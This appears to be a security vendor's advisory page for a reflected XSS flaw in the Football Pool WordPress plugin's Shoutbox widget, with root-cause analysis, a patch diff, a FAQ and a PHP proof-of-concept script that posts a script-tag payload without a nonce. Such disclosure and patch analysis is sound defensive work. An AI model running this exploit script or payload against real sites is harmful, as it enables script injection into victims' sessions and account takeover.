CVE-2026-8790: Football Pool <= 2.13.4 Authenticated (Subscriber+) Reflected Cross-Site Scripting PoC, Patch Analysis & Rule

Atomic Edge analysis of CVE-2026-8790:

This vulnerability is a reflected cross-site scripting (XSS) flaw in the Football Pool plugin for WordPress, affecting all versions up to and including 2.13.4. The issue resides in the Shoutbox widget, specifically in the `widget-football-pool-shoutbox.php` file. The vulnerability arises from improper handling of the `shouttext` POST parameter, which is echoed into a `` element without adequate output escaping. With a CVSS score of 6.1, this flaw allows unauthenticated attackers to inject arbitrary web scripts into the browser of an authenticated victim, such as a subscriber, potentially leading to session hijacking or privilege escalation.</p> <p>Root Cause:</p> <p>The root cause is the unsafe rendering of the `shouttext` POST parameter within the Shoutbox widget’s form. In the vulnerable code, the value of `shouttext` is output inside a `<textarea>` tag using `printf(‘%s’, …)`. While the parameter name `shouttext` is output through `printf(‘%s’, …)`, the actual user-controlled content is echoed back without proper escaping. The widget code processes form submissions by checking the nonce, the presence of `shouttext`, and the user’s capability to save. If any of these checks fail (e.g., nonce check fails, `shouttext` is empty, or the user lacks save permission), the raw POST value is directly placed into the textarea via `printf(‘%s’, …)` with no HTML escaping. This allows an attacker to inject HTML or JavaScript that will be executed in the victim’s browser when the page is rendered.</p> <p>Exploitation:</p> <p>An attacker can exploit this vulnerability by crafting a malicious POST request to a WordPress page that displays the Shoutbox widget. The request must include a `shouttext` parameter containing a payload, such as `alert(1)` or a more sophisticated payload to steal cookies or perform actions on behalf of the victim. For successful exploitation, the attacker must trick an authenticated user, preferably with at least Subscriber-level access, into submitting the crafted request. This can be achieved through social engineering, such as sending a link that triggers a form submission with the malicious payload. When the target submits the request, the widget processes the form, fails the validation (due to a missing or incorrect nonce), and echoes the payload back into the `<textarea>` element without escaping. The victim’s browser then executes the script, allowing the attacker to perform actions within the context of the victim’s session.</p> <p>Patch Analysis:</p> <p>The patch, introduced in version 2.13.5, addresses the vulnerability by adding output escaping to the `shouttext` value. Specifically, the `printf()` call now wraps the translated string and the `$unsaved_text` variable with `esc_attr()` and `esc_textarea()` functions, respectively. The `esc_attr()` function is used for the title attribute to prevent HTML injection, while `esc_textarea()` is applied to the textarea content to ensure that any special characters like “, and `&` are encoded, preventing the execution of injected scripts. This change ensures that the raw POST value cannot be rendered as executable HTML, thereby mitigating the XSS vulnerability. The patch correctly identifies the missing output escaping and applies WordPress’s built-in escaping mechanisms to secure the output.</p> <p>Impact:</p> <p>If exploited, this vulnerability allows an attacker to execute arbitrary JavaScript in the context of an authenticated user’s browser. This can lead to a wide range of attacks, including stealing session cookies, capturing keystrokes, performing actions on behalf of the victim (such as modifying content or settings), and potentially escalating privileges if the victim has administrative rights. Since the attacker can target any authenticated user who visits a page with the Shoutbox widget, the impact is not limited to low-privilege users; even administrators could be affected if tricked into submitting the crafted request. The ability to execute scripts in the admin context could result in full site compromise, as the attacker could create rogue admin accounts, inject backdoors, or exfiltrate sensitive data.</p> </div><h3 id="brxe-hplxzm" class="brxe-heading">Differential between vulnerable and patched code</h3><div id="brxe-hwppgl" class="brxe-text"><p>Below is a differential between the unpatched vulnerable code and the patched update, for reference.</p> <div class="atomic-proof-code-window"> <div class="atomic-proof-code-header"> <div class="atomic-proof-code-dots"><span></span><span></span><span></span></div> <span class="atomic-proof-code-lang">Code Diff</span> <button type="button" class="atomic-proof-copy-btn" aria-label="Copy code"> <svg viewBox="0 0 24 24" aria-hidden="true"><path d="M16 1H4c-1.1 0-2 .9-2 2v14h2V3h12V1zm3 4H8c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h11c1.1 0 2-.9 2-2V7c0-1.1-.9-2-2-2zm0 16H8V7h11v14z"/></svg> Copy </button> </div> <pre class="line-numbers"><code class="language-diff">--- a/football-pool/football-pool.php +++ b/football-pool/football-pool.php @@ -32,10 +32,10 @@ * Domain Path: /languages * Requires at least: 5.3 * Requires PHP: 7.4 - * Version: 2.13.4 + * Version: 2.13.5 */ -const FOOTBALLPOOL_DB_VERSION = '2.13.4'; +const FOOTBALLPOOL_DB_VERSION = '2.13.5'; if ( wp_doing_cron() ) { // Let's not load Football Pool during cron events. --- a/football-pool/widgets/widget-football-pool-shoutbox.php +++ b/football-pool/widgets/widget-football-pool-shoutbox.php @@ -136,10 +136,12 @@ onkeyup="FootballPool.update_chars( this.id, %d )" title="%s">%s</textarea>', $id, $max_chars, - sprintf( __( 'all text longer than %s characters will be removed!', 'football-pool' ), - $max_chars + esc_attr( + sprintf( __( 'all text longer than %s characters will be removed!', 'football-pool' ), + $max_chars + ) ), - $unsaved_text + esc_textarea( $unsaved_text ) ); if ( $save_result === false ) { echo '<span class="notice error">';</code></pre> </div> </div><h3 id="brxe-ubgvwt" class="brxe-heading">Proof of Concept (PHP)</h3><div id="brxe-hkcyef" class="brxe-text"><p><b>NOTICE :</b></p> <div class="relative w-full mt-4 mb-1"> <div class=""> <div class="relative"> <div class="h-full min-h-0 min-w-0"> <div class="h-full min-h-0 min-w-0"> <div class="border border-token-border-light border-radius-3xl corner-superellipse/1.1 rounded-3xl"> <div class="h-full w-full border-radius-3xl bg-token-bg-elevated-secondary corner-superellipse/1.1 overflow-clip rounded-3xl lxnfua_clipPathFallback"> <div class="pe-11 pt-3"> <div class="relative z-0 flex max-w-full"> <div id="code-block-viewer" class="q9tKkq_viewer cm-editor z-10 light:cm-light dark:cm-light flex h-full w-full flex-col items-stretch ͼ5 ͼj" dir="ltr"> <div class="cm-scroller"> <div class="cm-content q9tKkq_readonly"> <div class="relative w-full mt-4 mb-1"> <div class=""> <div class="relative"> <div class="h-full min-h-0 min-w-0"> <div class="h-full min-h-0 min-w-0"> <div class="border border-token-border-light border-radius-3xl corner-superellipse/1.1 rounded-3xl"> <div class="h-full w-full border-radius-3xl bg-token-bg-elevated-secondary corner-superellipse/1.1 overflow-clip rounded-3xl lxnfua_clipPathFallback"> <div class="pe-11 pt-3"> <div class="relative z-0 flex max-w-full"> <div id="code-block-viewer" class="q9tKkq_viewer cm-editor z-10 light:cm-light dark:cm-light flex h-full w-full flex-col items-stretch ͼ5 ͼj" dir="ltr"> <div class="cm-scroller"> <div class="cm-content q9tKkq_readonly"> <p>This proof-of-concept is provided for educational and authorized security research purposes only.</p> <p>You may not use this code against any system, application, or network without explicit prior authorization from the system owner.</p> <p>Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.</p> <p>This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.</p> <p>By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.</p> </div> </div> </div> </div> </div> </div> </div> </div> </div> <div class=""> <div class=""> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div><div id="brxe-loolxc" class="brxe-text"> <div class="atomic-proof-code-window"> <div class="atomic-proof-code-header"> <div class="atomic-proof-code-dots"><span></span><span></span><span></span></div> <span class="atomic-proof-code-lang">PHP PoC</span> <button type="button" class="atomic-proof-copy-btn" aria-label="Copy code"> <svg viewBox="0 0 24 24" aria-hidden="true"><path d="M16 1H4c-1.1 0-2 .9-2 2v14h2V3h12V1zm3 4H8c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h11c1.1 0 2-.9 2-2V7c0-1.1-.9-2-2-2zm0 16H8V7h11v14z"/></svg> Copy </button> </div> <pre class="line-numbers"><code class="language-php"><?php // ========================================================================== // Atomic Edge CVE Research | https://atomicedge.io // Copyright (c) Atomic Edge. All rights reserved. // // LEGAL DISCLAIMER: // This proof-of-concept is provided for authorized security testing and // educational purposes only. Use of this code against systems without // explicit written permission from the system owner is prohibited and may // violate applicable laws including the Computer Fraud and Abuse Act (USA), // Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national // computer misuse statutes. This code is provided "AS IS" without warranty // of any kind. Atomic Edge and its authors accept no liability for misuse, // damages, or legal consequences arising from the use of this code. You are // solely responsible for ensuring compliance with all applicable laws in // your jurisdiction before use. // ========================================================================== // Atomic Edge CVE Research - Proof of Concept // CVE-2026-8790 - Authenticated (Subscriber+) Reflected Cross-Site Scripting via Shoutbox widget /** * PoC for CVE-2026-8790 * * This script demonstrates a reflected XSS attack against the Football Pool plugin's Shoutbox widget. * It sends a crafted POST request to a page containing the Shoutbox widget, with a XSS payload in the "shouttext" parameter. * The request intentionally omits the nonce, causing the widget to echo the payload without escaping. * * Usage: php cve-2026-8790-poc.php <target_page_url> * Example: php cve-2026-8790-poc.php 'http://example.com/football-pool-shoutbox-page/' */ // Configuration $target_url = isset($argv[1]) ? $argv[1] : 'http://your-wordpress-site.com/page-with-shoutbox/'; // XSS payload to inject $payload = '<script>alert("XSS");</script>'; // Initialize cURL $ch = curl_init(); // Set cURL options curl_setopt_array($ch, [ CURLOPT_URL => $target_url, CURLOPT_POST => true, CURLOPT_POSTFIELDS => http_build_query([ 'shouttext' => $payload, // Note: No nonce is submitted, triggering the vulnerable code path. ]), CURLOPT_RETURNTRANSFER => true, CURLOPT_FOLLOWLOCATION => true, CURLOPT_COOKIEFILE => 'cookies.txt', // Use a file for session cookies if needed CURLOPT_COOKIEJAR => 'cookies.txt', ]); // Execute the request and capture the response $response = curl_exec($ch); // Check for errors if (curl_errno($ch)) { echo 'cURL error: ' . curl_error($ch) . PHP_EOL; curl_close($ch); exit(1); } curl_close($ch); // Check if the payload is reflected unescaped in the response if (strpos($response, '<script>alert("XSS");</script>') !== false) { echo "[+] Vulnerability confirmed: XSS payload reflected without escaping.n"; } else { echo "[-] Payload not reflected or escaped. Vulnerability may be patched.n"; }</code></pre> </div> </div></div></section><section id="brxe-fe15ca" class="brxe-section cve-faq-container"><div id="brxe-4bd604" class="brxe-container"><div id="brxe-f3279f" class="brxe-block"><h2 id="brxe-a88a1a" class="brxe-heading h2-page">Frequently Asked Questions</h2><ul id="brxe-259e14" data-script-id="259e14" class="brxe-accordion" role="presentation"><li class="accordion-item" data-brx-loop-start="259e14"><div class="accordion-title-wrapper" aria-controls="panel-accordion-259e14-0" aria-expanded="false" id="accordion-259e14-0" role="button" tabindex="0"><div class="accordion-title"><h3 class="title">What is CVE-2026-8790?</h3><i class="ion-ios-arrow-down icon expanded"></i><i class="ion-ios-arrow-forward icon"></i></div><div class="accordion-subtitle">Vulnerability overview</div></div><div class="accordion-content-wrapper" role="region" aria-labelledby="accordion-259e14-0" id="panel-accordion-259e14-0"><p>CVE-2026-8790 is a reflected cross-site scripting (XSS) vulnerability in the Football Pool plugin for WordPress, affecting versions up to and including 2.13.4. It allows unauthenticated attackers to inject arbitrary web scripts into the browser of an authenticated victim, such as a subscriber, when the victim submits a crafted POST request to a page with the Shoutbox widget.</p> </div></li><li class="accordion-item"><div class="accordion-title-wrapper" aria-controls="panel-accordion-259e14-1" aria-expanded="false" id="accordion-259e14-1" role="button" tabindex="0"><div class="accordion-title"><h3 class="title">How does the vulnerability work?</h3><i class="ion-ios-arrow-down icon expanded"></i><i class="ion-ios-arrow-forward icon"></i></div><div class="accordion-subtitle">Technical explanation</div></div><div class="accordion-content-wrapper" role="region" aria-labelledby="accordion-259e14-1" id="panel-accordion-259e14-1"><p>The Shoutbox widget echoes the ‘shouttext’ POST parameter into a textarea element without proper output escaping. When a form submission fails validation, such as a missing nonce, the raw value is rendered using printf(‘%s’, …), allowing an attacker to inject HTML or JavaScript that executes in the victim’s browser.</p> </div></li><li class="accordion-item"><div class="accordion-title-wrapper" aria-controls="panel-accordion-259e14-2" aria-expanded="false" id="accordion-259e14-2" role="button" tabindex="0"><div class="accordion-title"><h3 class="title">Who is affected by this vulnerability?</h3><i class="ion-ios-arrow-down icon expanded"></i><i class="ion-ios-arrow-forward icon"></i></div><div class="accordion-subtitle">Affected users and sites</div></div><div class="accordion-content-wrapper" role="region" aria-labelledby="accordion-259e14-2" id="panel-accordion-259e14-2"><p>Any WordPress site running the Football Pool plugin version 2.13.4 or earlier with the Shoutbox widget enabled is affected. The attack targets authenticated users with at least Subscriber-level access, but administrators can also be impacted if tricked into submitting a crafted request.</p> </div></li><li class="accordion-item"><div class="accordion-title-wrapper" aria-controls="panel-accordion-259e14-3" aria-expanded="false" id="accordion-259e14-3" role="button" tabindex="0"><div class="accordion-title"><h3 class="title">How can I check if my site is vulnerable?</h3><i class="ion-ios-arrow-down icon expanded"></i><i class="ion-ios-arrow-forward icon"></i></div><div class="accordion-subtitle">Detection steps</div></div><div class="accordion-content-wrapper" role="region" aria-labelledby="accordion-259e14-3" id="panel-accordion-259e14-3"><p>Check the Football Pool plugin version in your WordPress admin dashboard under Plugins. If it is 2.13.4 or lower, your site is vulnerable. Additionally, verify if the Shoutbox widget is active on any page, as that is required for exploitation.</p> </div></li><li class="accordion-item"><div class="accordion-title-wrapper" aria-controls="panel-accordion-259e14-4" aria-expanded="false" id="accordion-259e14-4" role="button" tabindex="0"><div class="accordion-title"><h3 class="title">What is the CVSS score and severity?</h3><i class="ion-ios-arrow-down icon expanded"></i><i class="ion-ios-arrow-forward icon"></i></div><div class="accordion-subtitle">Risk assessment</div></div><div class="accordion-content-wrapper" role="region" aria-labelledby="accordion-259e14-4" id="panel-accordion-259e14-4"><p>The vulnerability has a CVSS score of 6.1, which is rated as Medium severity. This indicates a moderate risk, as exploitation requires user interaction (the victim must submit a crafted request) and the impact is limited to the victim’s browser session, but it can lead to session hijacking or privilege escalation if an admin is targeted.</p> </div></li><li class="accordion-item"><div class="accordion-title-wrapper" aria-controls="panel-accordion-259e14-5" aria-expanded="false" id="accordion-259e14-5" role="button" tabindex="0"><div class="accordion-title"><h3 class="title">How is the vulnerability patched?</h3><i class="ion-ios-arrow-down icon expanded"></i><i class="ion-ios-arrow-forward icon"></i></div><div class="accordion-subtitle">Patch details</div></div><div class="accordion-content-wrapper" role="region" aria-labelledby="accordion-259e14-5" id="panel-accordion-259e14-5"><p>The patch in version 2.13.5 adds output escaping to the ‘shouttext’ value. The title attribute is now escaped with esc_attr(), and the textarea content is escaped with esc_textarea(), which encodes special characters and prevents script execution. Updating to version 2.13.5 or later resolves the issue.</p> </div></li><li class="accordion-item"><div class="accordion-title-wrapper" aria-controls="panel-accordion-259e14-6" aria-expanded="false" id="accordion-259e14-6" role="button" tabindex="0"><div class="accordion-title"><h3 class="title">What should I do to fix the vulnerability?</h3><i class="ion-ios-arrow-down icon expanded"></i><i class="ion-ios-arrow-forward icon"></i></div><div class="accordion-subtitle">Immediate actions</div></div><div class="accordion-content-wrapper" role="region" aria-labelledby="accordion-259e14-6" id="panel-accordion-259e14-6"><p>Update the Football Pool plugin to version 2.13.5 or higher as soon as possible. If you cannot update immediately, consider disabling the Shoutbox widget or restricting access to pages containing it until the update is applied.</p> </div></li><li class="accordion-item"><div class="accordion-title-wrapper" aria-controls="panel-accordion-259e14-7" aria-expanded="false" id="accordion-259e14-7" role="button" tabindex="0"><div class="accordion-title"><h3 class="title">What is the practical impact of this vulnerability?</h3><i class="ion-ios-arrow-down icon expanded"></i><i class="ion-ios-arrow-forward icon"></i></div><div class="accordion-subtitle">Real-world consequences</div></div><div class="accordion-content-wrapper" role="region" aria-labelledby="accordion-259e14-7" id="panel-accordion-259e14-7"><p>An attacker can execute arbitrary JavaScript in the context of an authenticated user’s browser. This could allow stealing session cookies, performing actions on behalf of the user, or escalating privileges if the victim has administrative rights. In the worst case, a compromised admin account could lead to full site takeover.</p> </div></li><li class="accordion-item"><div class="accordion-title-wrapper" aria-controls="panel-accordion-259e14-8" aria-expanded="false" id="accordion-259e14-8" role="button" tabindex="0"><div class="accordion-title"><h3 class="title">How does the proof of concept demonstrate the issue?</h3><i class="ion-ios-arrow-down icon expanded"></i><i class="ion-ios-arrow-forward icon"></i></div><div class="accordion-subtitle">PoC explanation</div></div><div class="accordion-content-wrapper" role="region" aria-labelledby="accordion-259e14-8" id="panel-accordion-259e14-8"><p>The provided PoC sends a POST request to a page with the Shoutbox widget, including a script payload in the ‘shouttext’ parameter and intentionally omitting the nonce. When the request is processed, the widget echoes the payload without escaping, causing the script to execute in the victim’s browser. This demonstrates the reflected XSS.</p> </div></li><li class="accordion-item"><div class="accordion-title-wrapper" aria-controls="panel-accordion-259e14-9" aria-expanded="false" id="accordion-259e14-9" role="button" tabindex="0"><div class="accordion-title"><h3 class="title">Can this vulnerability be exploited without authentication?</h3><i class="ion-ios-arrow-down icon expanded"></i><i class="ion-ios-arrow-forward icon"></i></div><div class="accordion-subtitle">Authentication requirements</div></div><div class="accordion-content-wrapper" role="region" aria-labelledby="accordion-259e14-9" id="panel-accordion-259e14-9"><p>The attacker does not need to be authenticated, but the victim must be. The attacker crafts a malicious link or form that, when submitted by an authenticated user, triggers the vulnerability. The victim must be logged in and have at least Subscriber-level access to the site.</p> </div></li><li class="accordion-item"><div class="accordion-title-wrapper" aria-controls="panel-accordion-259e14-10" aria-expanded="false" id="accordion-259e14-10" role="button" tabindex="0"><div class="accordion-title"><h3 class="title">Are there any other mitigations besides updating?</h3><i class="ion-ios-arrow-down icon expanded"></i><i class="ion-ios-arrow-forward icon"></i></div><div class="accordion-subtitle">Additional protections</div></div><div class="accordion-content-wrapper" role="region" aria-labelledby="accordion-259e14-10" id="panel-accordion-259e14-10"><p>As a temporary measure, you can add a Web Application Firewall (WAF) rule to block requests with suspicious ‘shouttext’ parameters. However, updating the plugin is the only reliable fix. Also, educate users to avoid clicking on untrusted links that could trigger form submissions.</p> </div></li><li class="accordion-item"><div class="accordion-title-wrapper" aria-controls="panel-accordion-259e14-11" aria-expanded="false" id="accordion-259e14-11" role="button" tabindex="0"><div class="accordion-title"><h3 class="title">What is the root cause of the vulnerability?</h3><i class="ion-ios-arrow-down icon expanded"></i><i class="ion-ios-arrow-forward icon"></i></div><div class="accordion-subtitle">Code-level analysis</div></div><div class="accordion-content-wrapper" role="region" aria-labelledby="accordion-259e14-11" id="panel-accordion-259e14-11"><p>The root cause is the unsafe rendering of the ‘shouttext’ POST parameter in the Shoutbox widget. The code uses printf(‘%s’, …) to output the value into a textarea without applying output escaping functions like esc_textarea(), allowing HTML and JavaScript to be injected.</p> </div></li></ul></div></div></section><section id="see-how-it-works" class="brxe-section"><div id="brxe-zmhffz" class="brxe-container"><div id="brxe-reoqft" class="brxe-block"><img width="591" height="134" src="https://atomicedge.io/wp-content/uploads/2025/11/atomic-edge-icon-7-fixed.png" class="brxe-image css-filter size-full" alt="Atomic Edge WAF security layer inspecting website traffic." id="brxe-olmagr" decoding="async" srcset="https://atomicedge.io/wp-content/uploads/2025/11/atomic-edge-icon-7-fixed.png 591w, https://atomicedge.io/wp-content/uploads/2025/11/atomic-edge-icon-7-fixed-300x68.png 300w" sizes="(max-width: 591px) 100vw, 591px" /></div><div id="brxe-tbhexs" class="brxe-block"><h2 id="brxe-rbsifa" class="brxe-heading h2-page">How <span style="color: #5D4AE3">Atomic Edge</span> Works</h2><div id="brxe-tepsls" class="brxe-text"><p>Simple Setup. Powerful Security.</p> <p>Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.</p> </div><a id="brxe-bbferh" class="brxe-button primary-button bricks-button bricks-background-primary" href="https://dashboard.atomicedge.io/register">Get Started<i class="ti-arrow-circle-right"></i></a></div></div></section><section id="brxe-59199d" class="brxe-section"><div id="brxe-02e6b0" class="brxe-container"><nav id="brxe-b1f9ff" class="brxe-post-navigation" aria-label="Post navigation"><a class="prev-post" href="https://atomicedge.io/cve-proof/cve-2026-15941-relevanssi-version-4-27-1-medium-vulnerability-proof-of-concept/"><div class="swiper-button bricks-swiper-button-prev"><i class="fas fa-arrow-left"></i></div><div class="content"><span class="label">Previous CVE PoC</span></div></a><a class="next-post" href="https://atomicedge.io/cve-proof/cve-2026-15979-content-egg-version-11-3-0-high-vulnerability-proof-of-concept/"><div class="content"><span class="label">Next CVE PoC</span></div><div class="swiper-button bricks-swiper-button-next"><i class="fas fa-arrow-right"></i></div></a></nav></div></section><section id="brxe-5edbdd" class="brxe-section"><div id="brxe-1440db" class="brxe-container"><h3 id="brxe-1d67c0" class="brxe-heading h2-page">Trusted by <span style="color: #5D4AE3">Developers & Organizations</span></h3></div><div id="brxe-e6f9e8" class="brxe-container"><div id="brxe-9ef79d" class="brxe-block"><img width="809" height="499" src="https://atomicedge.io/wp-content/uploads/2025/04/trusted-by-img-2.1.png" class="brxe-image css-filter size-full" alt="Trusted by Developers" id="brxe-b28fb1" decoding="async" srcset="https://atomicedge.io/wp-content/uploads/2025/04/trusted-by-img-2.1.png 809w, https://atomicedge.io/wp-content/uploads/2025/04/trusted-by-img-2.1-300x185.png 300w, https://atomicedge.io/wp-content/uploads/2025/04/trusted-by-img-2.1-768x474.png 768w" sizes="(max-width: 809px) 100vw, 809px" /></div><div id="brxe-991926" class="brxe-block brx-grid"><img width="195" height="97" src="https://atomicedge.io/wp-content/uploads/2025/04/BlackMcDonald_Logo.png" class="brxe-image css-filter size-full" alt="Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF." id="brxe-6fccf0" decoding="async" loading="lazy" /><img width="254" height="84" src="https://atomicedge.io/wp-content/uploads/2025/04/covenant-house-toronto-logo.png" class="brxe-image css-filter size-full" alt="Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise plan" id="brxe-d2efc5" decoding="async" loading="lazy" /><img width="197" height="40" src="https://atomicedge.io/wp-content/uploads/2025/04/alzheimer-society-canada-logo.png" class="brxe-image css-filter size-full" alt="Alzheimer Society Canada logo representing trusted organizations and security partners." id="brxe-24d948" decoding="async" loading="lazy" /><img width="202" height="72" src="https://atomicedge.io/wp-content/uploads/2025/04/university-of-toronto-logo.png" class="brxe-image css-filter size-full" alt="University of Toronto logo representing trusted organizations using Atomic Edge WAF" id="brxe-d1e50e" decoding="async" loading="lazy" /><img width="197" height="75" src="https://atomicedge.io/wp-content/uploads/2025/11/specsavers.png" class="brxe-image css-filter size-full" alt="Specsavvers logo, trusted developers and organizations using Atomic Edge security" id="brxe-4d54ae" decoding="async" loading="lazy" /><img width="200" height="51" src="https://atomicedge.io/wp-content/uploads/2025/04/harvard-medical-school-logo.png" class="brxe-image css-filter size-full" alt="Harvard Medical School logo representing trusted organizations using Atomic Edge WAF." id="brxe-3d32cd" decoding="async" loading="lazy" /></div></div></section><section id="brxe-d9e649" class="brxe-section"><div id="brxe-5f3ffc" class="brxe-container"></div></section></main><footer id="brx-footer"><section id="brxe-gpwvpn" class="brxe-section"><div id="brxe-abqerh" class="brxe-container"><h2 id="brxe-dvbmbt" class="brxe-heading h2-page">Protect WordPress at the edge</h2><div id="brxe-jpxhuj" class="brxe-text"><p style="text-align: center;">Start free, then unlock Pro controls when your site needs page rules, geo filtering, CDN caching, and advanced traffic protection.</p> </div><div id="brxe-aeftgr" class="brxe-block"><a id="brxe-cntbck" class="brxe-button bricks-button bricks-background-primary" data-event="final_start_free" href="https://dashboard.atomicedge.io/register">Create a Free Account</a><a id="brxe-aeftpr" class="brxe-button bricks-button bricks-background-primary" data-event="final_compare_free_pro" href="#compare-plans" data-brx-anchor="true">Compare Free vs Pro</a></div></div><div id="brxe-jbrlcq" class="brxe-container"><div id="brxe-vphhkc" data-script-id="vphhkc" class="brxe-nav-menu"><nav class="bricks-nav-menu-wrapper never"><ul id="menu-footer" class="bricks-nav-menu"><li id="menu-item-765" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-765 bricks-menu-item"><a href="https://atomicedge.io/legal/policies-notices/">Policies & Notices</a></li> <li id="menu-item-766" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-766 bricks-menu-item"><a href="https://atomicedge.io/legal/copyright-policy/">Copyright Policy</a></li> <li id="menu-item-767" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-767 bricks-menu-item"><a href="https://atomicedge.io/legal/service-level-agreement/">Service Level Agreement</a></li> <li id="menu-item-768" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-768 bricks-menu-item"><a href="https://atomicedge.io/legal/acceptable-use-policy/">Acceptable Use Policy</a></li> <li id="menu-item-769" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-769 bricks-menu-item"><a href="https://atomicedge.io/legal/terms-of-service/">Terms of service</a></li> <li id="menu-item-773" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-privacy-policy menu-item-773 bricks-menu-item"><a href="https://atomicedge.io/legal/privacy-policy/">Privacy Policy</a></li> <li id="menu-item-9887" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-9887 bricks-menu-item"><a href="https://atomicedge.io/atomic-edge-vs-wordfence/">Atomic Edge vs. Wordfence</a></li> <li id="menu-item-9888" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-9888 bricks-menu-item"><a href="https://atomicedge.io/atomic-edge-vs-sucuri/">Atomic Edge vs. Sucuri</a></li> <li id="menu-item-9889" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-9889 bricks-menu-item"><a href="https://atomicedge.io/atomic-edge-vs-cloudflare/">Atomic Edge vs. Cloudflare</a></li> <li id="menu-item-9890" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-9890 bricks-menu-item"><a href="https://atomicedge.io/wp-security-plugin-wordpress-security/">WordPress Security Plugin</a></li> </ul></nav></div></div><div id="brxe-yskxul" class="brxe-container"><div id="brxe-qqbekp" class="brxe-block"><div id="brxe-bbfbdm" class="brxe-text"><p>2026 Star Dot Hosting Inc All Rights Reserved. Atomic Edge is an operating name of Star Dot Hosting Inc.</p> </div></div></div></section></footer><script type="speculationrules"> {"prefetch":[{"source":"document","where":{"and":[{"href_matches":"/*"},{"not":{"href_matches":["/wp-*.php","/wp-admin/*","/wp-content/uploads/*","/wp-content/*","/wp-content/plugins/*","/wp-content/themes/atomicedge-child/*","/wp-content/themes/bricks/*","/*\\?(.+)","/*ao_noptirocket*","/*jetpack=comms*","/*kinsta-monitor*","/*ao_speedup_cachebuster*","/*removed_item*","/my-account*","/wc-api/*","/edd-api/*","/wp-json*"]}},{"not":{"selector_matches":"a[rel~=\"nofollow\"]"}},{"not":{"selector_matches":".no-prefetch, .no-prefetch a"}}]},"eagerness":"conservative"}]} </script> <script id="wpil-frontend-script-js-extra"> var wpilFrontend = {"ajaxUrl":"/wp-admin/admin-ajax.php","postId":"17673","postType":"post","openInternalInNewTab":"0","openExternalInNewTab":"0","disableClicks":"0","openLinksWithJS":"0","trackAllElementClicks":"0","clicksI18n":{"imageNoText":"Image in link: No Text","imageText":"Image Title: ","noText":"No Anchor Text Found"}}; //# sourceURL=wpil-frontend-script-js-extra </script> <script id="wpil-frontend-script-js" src="https://atomicedge.io/wp-content/plugins/link-whisper-premium/js/frontend.min.js?ver=1784724327"></script> <script id="metasync-tracker-js-extra"> var saOttoData = {"otto_uuid":"ca7ef4ee-50a2-41fb-9ec7-08af64debc6a","page_url":"https://atomicedge.io/cve-proof/cve-2026-8790-football-pool-version-2-13-4-medium-vulnerability-proof-of-concept/","context":null,"enable_metadesc":"1"}; //# sourceURL=metasync-tracker-js-extra </script> <script id="metasync-tracker-js" defer src="https://atomicedge.io/wp-content/plugins/metasync/public/js/otto-tracker.min.js?ver=2.6.21"></script> <script id="metasync-js" defer src="https://atomicedge.io/wp-content/plugins/metasync/public/js/metasync-public.js?ver=2.6.21"></script> <script id="atomic-proof-form-poll-js-extra"> var atomicProofPoll = {"ajaxUrl":"https://atomicedge.io/wp-admin/admin-ajax.php","nonce":"89c8226760","interval":"5000","maxDuration":"180000"}; //# sourceURL=atomic-proof-form-poll-js-extra </script> <script id="atomic-proof-form-poll-js" src="https://atomicedge.io/wp-content/plugins/atomic-proof/admin/js/form-poll.js?ver=1.3.0"></script> <script id="atomicedge-header-nav-fix-js" src="https://atomicedge.io/wp-content/themes/atomicedge-child/header-nav-fix.js?ver=1781840115"></script> <script id="bricks-scripts-js-extra"> var bricksData = {"debug":"","locale":"en_US","ajaxUrl":"https://atomicedge.io/wp-admin/admin-ajax.php","restApiUrl":"https://atomicedge.io/wp-json/bricks/v1/","nonce":"6d37c3bd8f","formNonce":"00f8394cf7","wpRestNonce":"5954de7c07","postId":"17673","recaptchaIds":[],"animatedTypingInstances":[],"videoInstances":[],"splideInstances":[],"tocbotInstances":[],"swiperInstances":[],"queryLoopInstances":[],"interactions":[],"filterInstances":[],"isotopeInstances":[],"activeFiltersCountInstances":[],"googleMapInstances":[],"leafletMapInstances":[],"choicesInstances":[],"facebookAppId":"","headerPosition":"top","offsetLazyLoad":"300","baseUrl":"https://atomicedge.io/cve-proof/cve-2026-8790-football-pool-version-2-13-4-medium-vulnerability-proof-of-concept/","useQueryFilter":"","pageFilters":[],"language":"","wpmlUrlFormat":"","multilangPlugin":"","i18n":{"choicesjs":{"noChoicesText":"No choices to choose from","noResultsText":"No results found","removeItemIconText":"Remove item","search":"Search"},"close":"Close","closeMobileMenu":"Close mobile menu","firstSlide":"Go to first slide","hidePassword":"Hide password","lastSlide":"Go to last slide","locationContent":"Location content","locationSubtitle":"Location subtitle","locationTitle":"Location title","nextSlide":"Next slide","noLocationsFound":"No locations found","openAccordion":"Open accordion","openMobileMenu":"Open mobile menu","pause":"Pause autoplay","play":"Start autoplay","prevSlide":"Previous slide","remove":"Remove","showPassword":"Show password","slideX":"Go to slide %s","splide":{"carousel":"carousel","select":"Select a slide to show","slide":"slide","slideLabel":"%1$s of %2$s"},"swiper":{"paginationBulletMessage":"Go to slide {{index}}","slideLabelMessage":"{{index}} / 